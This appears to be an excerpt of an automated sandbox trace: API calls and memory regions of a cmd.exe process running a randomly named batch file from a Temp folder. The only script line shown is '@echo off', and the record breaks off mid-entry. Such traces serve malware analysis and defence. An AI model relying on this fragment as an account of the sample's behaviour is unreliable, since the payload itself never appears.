[0165.145] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b40 | out: hHeap=0x220000) returned 1 [0165.145] GetProcessHeap () returned 0x220000 [0165.146] GetProcessHeap () returned 0x220000 [0165.146] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ba0) returned 1 [0165.146] GetProcessHeap () returned 0x220000 [0165.146] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ba0) returned 0x20 [0165.146] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ba0 | out: hHeap=0x220000) returned 1 [0165.146] GetProcessHeap () returned 0x220000 [0165.146] GetProcessHeap () returned 0x220000 [0165.146] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c00) returned 1 [0165.146] GetProcessHeap () returned 0x220000 [0165.146] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c00) returned 0x20 [0165.147] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c00 | out: hHeap=0x220000) returned 1 [0165.147] GetProcessHeap () returned 0x220000 [0165.147] GetProcessHeap () returned 0x220000 [0165.147] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c30) returned 1 [0165.147] GetProcessHeap () returned 0x220000 [0165.147] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c30) returned 0x20 [0165.148] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c30 | out: hHeap=0x220000) returned 1 [0165.148] GetProcessHeap () returned 0x220000 [0165.148] GetProcessHeap () returned 0x220000 [0165.148] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba30) returned 1 [0165.148] GetProcessHeap () returned 0x220000 [0165.148] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba30) returned 0x18 [0165.148] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba30 | out: hHeap=0x220000) returned 1 [0165.148] GetProcessHeap () returned 0x220000 [0165.148] GetProcessHeap () returned 0x220000 [0165.148] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b70) returned 1 [0165.148] GetProcessHeap () returned 0x220000 [0165.148] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b70) returned 0x20 [0165.149] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b70 | out: hHeap=0x220000) returned 1 [0165.149] GetProcessHeap () returned 0x220000 [0165.149] GetProcessHeap () returned 0x220000 [0165.149] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9b0) returned 1 [0165.149] GetProcessHeap () returned 0x220000 [0165.149] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9b0) returned 0x18 [0165.149] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9b0 | out: hHeap=0x220000) returned 1 [0165.149] exit (_Code=0) Thread: id = 227 os_tid = 0xa64 Process: id = "68" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3fe1e000" os_pid = "0xa70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xe60" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat\" " cur_dir = "C:\\comproviderRuntimecommon\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5118 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5119 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5120 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5121 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5122 start_va = 0x4a650000 end_va = 0x4a6a8fff monitored = 1 entry_point = 0x4a6590b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 5123 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5124 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5125 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5126 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5127 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5128 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 5129 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 5130 start_va = 0x320000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5131 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5132 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5133 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5134 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5135 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5140 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5141 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5142 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5143 start_va = 0x7fefa5f0000 end_va = 0x7fefa5f7fff monitored = 0 entry_point = 0x7fefa5f11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 5144 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5145 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5146 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5147 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5148 start_va = 0xc0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5149 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5150 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5151 start_va = 0x540000 end_va = 0x6c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 5152 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5153 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5154 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5155 start_va = 0x6d0000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 5156 start_va = 0x860000 end_va = 0x1c5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 5157 start_va = 0x1e0000 end_va = 0x1fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 5158 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5159 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5160 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5194 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5195 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5196 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5197 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5198 start_va = 0x1c60000 end_va = 0x1f2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 231 os_tid = 0xa74 [0175.448] GetProcAddress (hModule=0x76b00000, lpProcName="SetConsoleInputExeNameW") returned 0x76b10c80 [0175.449] GetProcessHeap () returned 0x440000 [0175.449] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4012) returned 0x45b780 [0175.449] GetProcessHeap () returned 0x440000 [0175.449] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b780 | out: hHeap=0x440000) returned 1 [0175.453] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat", _String2=")") returned 58 [0175.453] _wcsicmp (_String1="FOR", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat") returned 3 [0175.453] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat") returned 3 [0175.453] _wcsicmp (_String1="IF", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat") returned 6 [0175.454] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat") returned 6 [0175.454] _wcsicmp (_String1="REM", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat") returned 15 [0175.454] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat") returned 15 [0175.454] GetProcessHeap () returned 0x440000 [0175.454] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb0) returned 0x459120 [0175.454] GetProcessHeap () returned 0x440000 [0175.454] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x7a) returned 0x4591e0 [0175.454] GetProcessHeap () returned 0x440000 [0175.454] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x14) returned 0x458c80 [0175.455] GetConsoleTitleW (in: lpConsoleTitle=0x31f8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0175.455] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.455] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.455] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x31f450, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x31f430, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x31f430*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.456] GetProcessHeap () returned 0x440000 [0175.456] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x218) returned 0x459270 [0175.456] GetProcessHeap () returned 0x440000 [0175.456] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x7e) returned 0x459490 [0175.456] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0175.456] GetProcessHeap () returned 0x440000 [0175.456] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x420) returned 0x459520 [0175.456] SetErrorMode (uMode=0x0) returned 0x0 [0175.456] SetErrorMode (uMode=0x1) returned 0x0 [0175.456] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x459530, lpFilePart=0x31f150 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp", lpFilePart=0x31f150*="Temp") returned 0x25 [0175.457] SetErrorMode (uMode=0x0) returned 0x1 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x459520, Size=0x7a) returned 0x459520 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x459520) returned 0x7a [0175.457] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\.") returned 1 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x62) returned 0x4595b0 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb0) returned 0x459620 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x459620, Size=0x62) returned 0x459620 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x459620) returned 0x62 [0175.457] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a67f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0175.457] GetProcessHeap () returned 0x440000 [0175.457] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe8) returned 0x4596a0 [0175.526] GetProcessHeap () returned 0x440000 [0175.526] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4596a0, Size=0x7e) returned 0x4596a0 [0175.526] GetProcessHeap () returned 0x440000 [0175.526] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4596a0) returned 0x7e [0175.706] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0175.706] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), fInfoLevelId=0x1, lpFindFileData=0x31eec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eec0) returned 0x459730 [0175.707] GetProcessHeap () returned 0x440000 [0175.707] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x28) returned 0x454870 [0175.707] FindClose (in: hFindFile=0x459730 | out: hFindFile=0x459730) returned 1 [0175.707] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0175.707] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0175.707] GetConsoleTitleW (in: lpConsoleTitle=0x31f410, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0175.707] GetProcessHeap () returned 0x440000 [0175.707] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x1e8) returned 0x459730 [0175.707] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0175.714] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferIdentifyLevel") returned 0x7fefe7ce470 [0175.715] IdentifyCodeAuthzLevelW () returned 0x1 [0175.723] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7fefe7cf9b0 [0175.723] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0175.724] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferCloseLevel") returned 0x7fefe7cf660 [0175.724] CloseCodeAuthzLevel () returned 0x1 [0175.724] SetErrorMode (uMode=0x0) returned 0x0 [0175.724] SetErrorMode (uMode=0x1) returned 0x0 [0175.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat", nBufferLength=0x104, lpBuffer=0x459280, lpFilePart=0x31f240 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat", lpFilePart=0x31f240*="GYwzkQocQK.bat") returned 0x34 [0175.724] SetErrorMode (uMode=0x0) returned 0x1 [0175.724] GetProcessHeap () returned 0x440000 [0175.724] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x7a) returned 0x46a9f0 [0175.724] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0175.724] GetProcessHeap () returned 0x440000 [0175.724] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x12) returned 0x46a170 [0175.724] GetProcessHeap () returned 0x440000 [0175.724] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x14) returned 0x46a190 [0175.724] GetProcessHeap () returned 0x440000 [0175.724] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x46a190, Size=0x14) returned 0x46a1b0 [0175.724] GetProcessHeap () returned 0x440000 [0175.724] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x46a1b0) returned 0x14 [0175.724] CmdBatNotification () returned 0x0 [0175.725] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f2a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0175.725] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0175.725] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.725] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.725] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.725] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.725] ReadFile (in: hFile=0x60, lpBuffer=0x4a68c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4a68c320*, lpNumberOfBytesRead=0x31f0b0*=0xdb, lpOverlapped=0x0) returned 1 [0175.727] SetFilePointer (in: hFile=0x60, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0175.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a68c320, cbMultiByte=11, lpWideCharStr=0x4a68e320, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0175.727] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.727] GetFileType (hFile=0x60) returned 0x1 [0175.727] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.727] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0175.727] GetProcessHeap () returned 0x440000 [0175.727] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4012) returned 0x45b780 [0175.727] GetProcessHeap () returned 0x440000 [0175.728] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b780 | out: hHeap=0x440000) returned 1 [0175.728] GetProcessHeap () returned 0x440000 [0175.728] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb0) returned 0x46aa80 [0175.729] _wcsicmp (_String1="echo", _String2=")") returned 60 [0175.729] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0175.729] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0175.729] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0175.729] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0175.729] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0175.729] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0175.729] GetProcessHeap () returned 0x440000 [0175.729] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb0) returned 0x46ab40 [0175.729] GetProcessHeap () returned 0x440000 [0175.729] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x1a) returned 0x4548a0 [0175.729] GetProcessHeap () returned 0x440000 [0175.729] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x1a) returned 0x467b60 [0175.731] _tell (_FileHandle=3) returned 11 [0175.731] _close (_FileHandle=3) returned 0 [0175.731] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0175.731] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0175.731] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0175.731] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0175.731] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0175.731] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0175.731] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0175.731] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0175.731] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0175.731] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0175.732] GetConsoleTitleW (in: lpConsoleTitle=0x31f050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0175.732] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0175.732] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0175.732] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0175.732] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0175.732] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0175.732] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0175.732] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0175.732] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0175.732] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0175.732] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0175.732] GetProcessHeap () returned 0x440000 [0175.732] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x24) returned 0x467b90 [0175.733] GetProcessHeap () returned 0x440000 [0175.733] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x467b90, Size=0x1a) returned 0x467bc0 [0175.733] GetProcessHeap () returned 0x440000 [0175.733] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x467bc0) returned 0x1a [0175.733] GetProcessHeap () returned 0x440000 [0175.733] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x24) returned 0x467b90 [0175.733] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0175.733] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.733] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0175.733] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.733] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a67e194 | out: lpMode=0x4a67e194) returned 1 [0175.734] _get_osfhandle (_FileHandle=0) returned 0x3 [0175.734] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a67e198 | out: lpMode=0x4a67e198) returned 1 [0175.734] SetConsoleInputExeNameW () returned 0x1 [0175.734] GetConsoleOutputCP () returned 0x1b5 [0175.734] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a68bfe0 | out: lpCPInfo=0x4a68bfe0) returned 1 [0175.734] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0175.734] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f2a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0175.735] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0175.735] _get_osfhandle (_FileHandle=3) returned 0x60 [0175.735] SetFilePointer (in: hFile=0x60, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0175.735] GetProcessHeap () returned 0x440000 [0175.735] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x467b90 | out: hHeap=0x440000) returned 1 [0175.735] GetProcessHeap () returned 0x440000 [0175.735] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x467bc0 | out: hHeap=0x440000) returned 1 [0175.735] GetProcessHeap () returned 0x440000 [0175.735] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x467b60 | out: hHeap=0x440000) 